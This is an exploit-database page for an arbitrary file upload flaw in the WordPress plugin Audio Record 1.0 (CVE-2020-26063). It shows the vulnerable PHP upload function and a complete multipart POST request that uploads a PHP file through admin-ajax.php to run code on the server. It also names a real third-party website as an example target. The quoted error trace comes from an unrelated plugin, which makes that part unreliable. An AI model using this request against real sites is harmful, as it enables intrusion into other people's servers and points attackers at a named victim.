Advertisement






WordPress Plugin Audio Record 1.0 - Arbitrary File Upload

CVE Category Price Severity
CVE-2020-26063 CWE-434 Not disclosed High
Author Risk Exploitation Type Date
Rahul Pratap Singh High Remote 2018-12-31
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018120245

Below is a copy:

WordPress Plugin Audio Record 1.0 - Arbitrary File Upload
Exploit Title: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload
Software Link: https://wordpress.org/plugins/audio-record/
Exploit Author: The Mechiavellian
Exploit Author Facebook : facebook.com/TheMachiavellian/
special thank to : https://kaimi.io
Version: 1.0
Category: webapps
 
Unrestricted file upload in record upload process allowing arbitrary extension.
File: recorder.php
>>Vulnerable code:
function save_record_callback() {
 
        foreach(array('audio') as $type) {
            if (isset($_FILES["${type}-blob"])) {
 
                $fileName = uniqid() . '_' .$_POST["${type}-filename"] ;
                $path_array  = wp_upload_dir();
                $path = str_replace('\\', '/', $path_array['path']);
                $uploadDirectory = $path . "/$fileName";
                if (!move_uploaded_file($_FILES["${type}-blob"]["tmp_name"], $uploadDirectory)) {
                        echo 000;
                    wp_die("problem moving uploaded file");
                }
 
>>Error message :

Fatal error: Uncaught Error: [] operator not supported for strings in /www/wp-content/plugins/revslider/includes/framework/base-admin.class.php:71 Stack trace: #0 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(572): RevSliderBaseAdmin::addMetaBox('Revolution Slid...', '', Array, NULL) #1 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(73): RevSliderAdmin->addSliderMetaBox() #2 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(44): RevSliderAdmin->init() #3 /www/wp-content/plugins/revslider/revslider.php(162): RevSliderAdmin->__construct('/www/wp-content...') #4 /www/wp-settings.php(305): include_once('/www/wp-content...') #5 /www/wp-config.php(98): require_once('/www/wp-setting...') #6 /www/wp-load.php(37): require_once('/www/wp-config....') #7 /www/wp-admin/admin-ajax.php(22): require_once('/www/wp-load.ph...') #8 {main} thrown in /www/wp-content/plugins/revslider/includes/framework/base-admin.class.php on line 71

 
>>Exploitation example:
 
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-filename"
 
file.php
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-blob"; filename="blob"
Content-Type: audio/wav
 
<?php phpinfo();
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="action"
 
save_record
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="course_id"
 
undefined
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="unit_id"
 
undefined
-----------------------------18311719029180117571501079851--

Examples : 
[+] http://www.slotenmakermaarten.nl/wp-admin/admin-ajax.php

follow me in : https://www.facebook.com/TheMachiavellian/

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum